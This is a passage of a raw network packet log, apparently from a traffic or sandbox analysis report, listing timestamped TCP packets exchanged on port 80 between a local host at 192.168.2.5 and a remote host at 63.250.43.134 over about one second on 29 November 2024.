                                                            Nov 29, 2024 10:20:50.961194992 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.969522953 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.969594002 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.969624043 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.977854013 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.977924109 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.977966070 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.986301899 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.986373901 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.986404896 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.994704008 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.994759083 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.994788885 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.003055096 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.003112078 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.003156900 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.011498928 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.011554956 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.011600971 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.033214092 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.033298969 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.033441067 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.058773041 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.058796883 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.058898926 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.139903069 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.139961958 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.140089989 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.142456055 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.142678976 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.142781019 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.147579908 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.147692919 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.147767067 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.152587891 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.152631044 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.152707100 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.157629967 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.157754898 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.157862902 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.162769079 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.162899017 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.162988901 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.167908907 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.168040991 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.168257952 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.173043013 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.173136950 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.173237085 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.178196907 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.178328991 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.178438902 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.183334112 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.183434010 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.183523893 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.188488007 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.188565969 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.188674927 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.193633080 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.193783998 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.193865061 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.197314024 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.197393894 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.197477102 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.200969934 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.201061964 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.201471090 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.204638958 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.204699993 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.205480099 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.208250046 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.208370924 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.209142923 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.211935997 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.212030888 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.212112904 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.215622902 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.215720892 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.215784073 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.219264030 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.219413996 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.219455957 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.222902060 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.223031998 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.223108053 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.226526976 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.226654053 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.226742029 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.230182886 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.230278015 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.230361938 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.233882904 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.233982086 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.234091997 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.237504005 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.237595081 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.237689972 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.341028929 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.341119051 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.341397047 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.342525959 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.342612982 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.342659950 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.344777107 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.344906092 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.344952106 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.347763062 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.347878933 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.347959995 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.350711107 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.350824118 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.351017952 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.353620052 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.353667974 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.353794098 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.356421947 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.356524944 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.357500076 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.359132051 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.359245062 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.361476898 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.361857891 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.361984968 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.364510059 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.364552021 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.364629984 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.365197897 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.367186069 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.367299080 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.367330074 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.369746923 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.369874954 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.369923115 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.372364998 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.372514009 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.373475075 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.374972105 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.375135899 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.377482891 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.377558947 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.377760887 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.380198956 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.380238056 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.380343914 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.381439924 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.382803917 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.382925987 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.382958889 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.385436058 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.385529041 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.385564089 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.388053894 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.388168097 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.389484882 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.390625000 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.390754938 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.393233061 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.393328905 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.393357992 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.393436909 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.395858049 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.395970106 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.396011114 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.398493052 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.398572922 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.398654938 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.401135921 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.401213884 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.401470900 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.403671980 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.403790951 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.405472040 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.406290054 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.406420946 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.408860922 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.408921957 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.408936977 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.409441948 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.411782026 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.411875963 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.412616014 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.414092064 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.414212942 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.414248943 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.416749954 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.416915894 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.416954041 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.419334888 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.419439077 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.419543982 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.421962976 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.422074080 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.422168970 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.424554110 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.424674034 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.425498962 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.427155018 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.427248955 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.427885056 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.429768085 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.429884911 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.429980040 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.432431936 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.432506084 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.432600975 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.434983969 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.435074091 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.435169935 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.437583923 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.490227938 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.542207956 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.542263031 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.542371035 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.542814970 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.542902946 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.544894934 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.544940948 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.545032978 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.545447111 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.546927929 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.547043085 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.547086000 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.548993111 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.549056053 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.549139977 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.551000118 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.551089048 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.551172972 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.552982092 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.553083897 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.553163052 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.555092096 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.555114985 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.555190086 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.556891918 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.556946993 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.557040930 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.558723927 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.558852911 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.558943987 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.560625076 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.560736895 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.560863972 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.562515020 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.562627077 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.562720060 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.564359903 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.564469099 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.564573050 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.566227913 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.566334009 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.566426039 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.568118095 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.568205118 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.568303108 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.569982052 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.570090055 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.570177078 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.571841002 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.571945906 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.573457956 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.573702097 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.573811054 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.575638056 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.575692892 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.575750113 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.577436924 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.577465057 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.577539921 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.578208923 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.579324007 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.579468966 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.579507113 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.581175089 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.581304073 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.581355095 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.583055019 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.583148003 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.583580971 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.584913969 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.585021973 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.586796045 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.586848021 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.586879969 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.587555885 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.588641882 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.588745117 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.588792086 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.590507030 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.590621948 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.590663910 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.592386007 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.592489004 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.592586040 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.594254017 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.594358921 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.594444036 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.596118927 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.596235991 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.596324921 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.597985029 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.598090887 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.598171949 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.599849939 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.599963903 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.600049019 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.601716042 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.601833105 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.601917028 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.603606939 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.603713036 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.603795052 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.605504036 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.605633020 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.605719090 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.607330084 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.607434034 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.609180927 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.609224081 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.609329939 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.609448910 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.611165047 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.611289024 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.612996101 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.613053083 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.613097906 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.613450050 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.614821911 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.614919901 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.614965916 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.616743088 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.616857052 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.616904974 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.618541956 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.618643999 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.618688107 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.620394945 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.620515108 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.621450901 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.622268915 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.622538090 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.624135971 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.624181986 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.624224901 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.625457048 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.626034021 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.626137972 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.626179934 CET4998980192.168.2.563.250.43.134
